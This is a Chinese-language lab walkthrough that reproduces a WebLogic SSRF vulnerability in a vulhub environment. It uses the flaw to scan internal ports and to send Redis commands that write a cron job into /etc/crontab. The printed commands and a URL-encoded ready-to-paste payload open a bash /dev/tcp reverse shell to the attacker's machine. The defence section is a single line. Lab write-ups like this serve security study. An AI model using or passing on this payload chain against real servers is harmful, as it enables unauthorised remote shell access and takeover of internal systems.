0X00-引言
哥哥,且隨我去梁山可好?
0X01-環境搭建
靶機:CentOS Linux 7
攻擊機:windows server 2016 && Kail
環境:vulhub
項目地址:https://github.com/vulhub/vulhub
搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)
0X02-漏洞描述
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。
影響版本:weblogic 10.0.2 -- 10.3.6
可進行利用的cron有如下幾個地方:
- /etc/crontab
- /etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
- /var/spool/cron/root centos系統下root用戶的cron文件
- /var/spool/cron/crontabs/root debian系統下root用戶的cron文件
0X03-漏洞復現
訪問uddiexplorer應用
http://192.168.234.128:7001/uddiexplorer/

點擊Search Public Registries頁面,查看頁面-發現有參數傳入url-可能存在SSRF漏洞

抓包測試
原包

修改包-訪問回環地址的7001端口-正常返回404

修改不存在的端口-端口不存在

返回值的差異看可以看出,我們可以通過此次鏈接對內網進行端口探測
這里我們是白盒測試-直接到靶機內查看容器的內網地址-同時也知道存在redis數據庫
黑盒測試直接爆破url
docker inspect 容器ID

使用SSRF探測-回顯說不存在有效的SOAP類-說明這個鏈接端口開放

由白盒測試可知-內網存在Redis服務器-寫入腳本
發送Redis命令-將反彈shell的腳本寫入目錄/etc/crontab中,這個目錄下面的命令都是定時自動執行的,這點很重要
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.234.135/1234 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
| 命令行 | 釋義 |
|---|---|
| set 1 … | 將bash shell設置為變量“1”的value值,執行一個反彈shell,IP為Kali虛擬機IP |
| set dir /etc/ | 創建一個工做目錄 |
| config set dbfilename crontab | 建立一個RDB備份文件,文件名crontab;全部的RDB文件都會儲存在etc/crontab下 |
url編碼之后-用換行符隔開(換行符是“\r\n”,也就是“%0D%0A”)
建議使用以下數據直接修改IP和PORT(自己編碼可能會使payload出現問題導致寫入不了redis或寫入數據不完整)(以下數據開頭結尾添加了test和aaa)
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.234.135%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

進入docker容器內部查看crontab文件
docker exec -it Redis容器號 /bin/sh #進入容器
cat /etc/crontab #查看文件
如圖則寫入成功

稍等片刻即可反彈shell

0X04-工具檢測
工具需要自己在GitHub上面找

0X05-漏洞防御
升級新版本
0X06-免責聲明
僅供學習參考
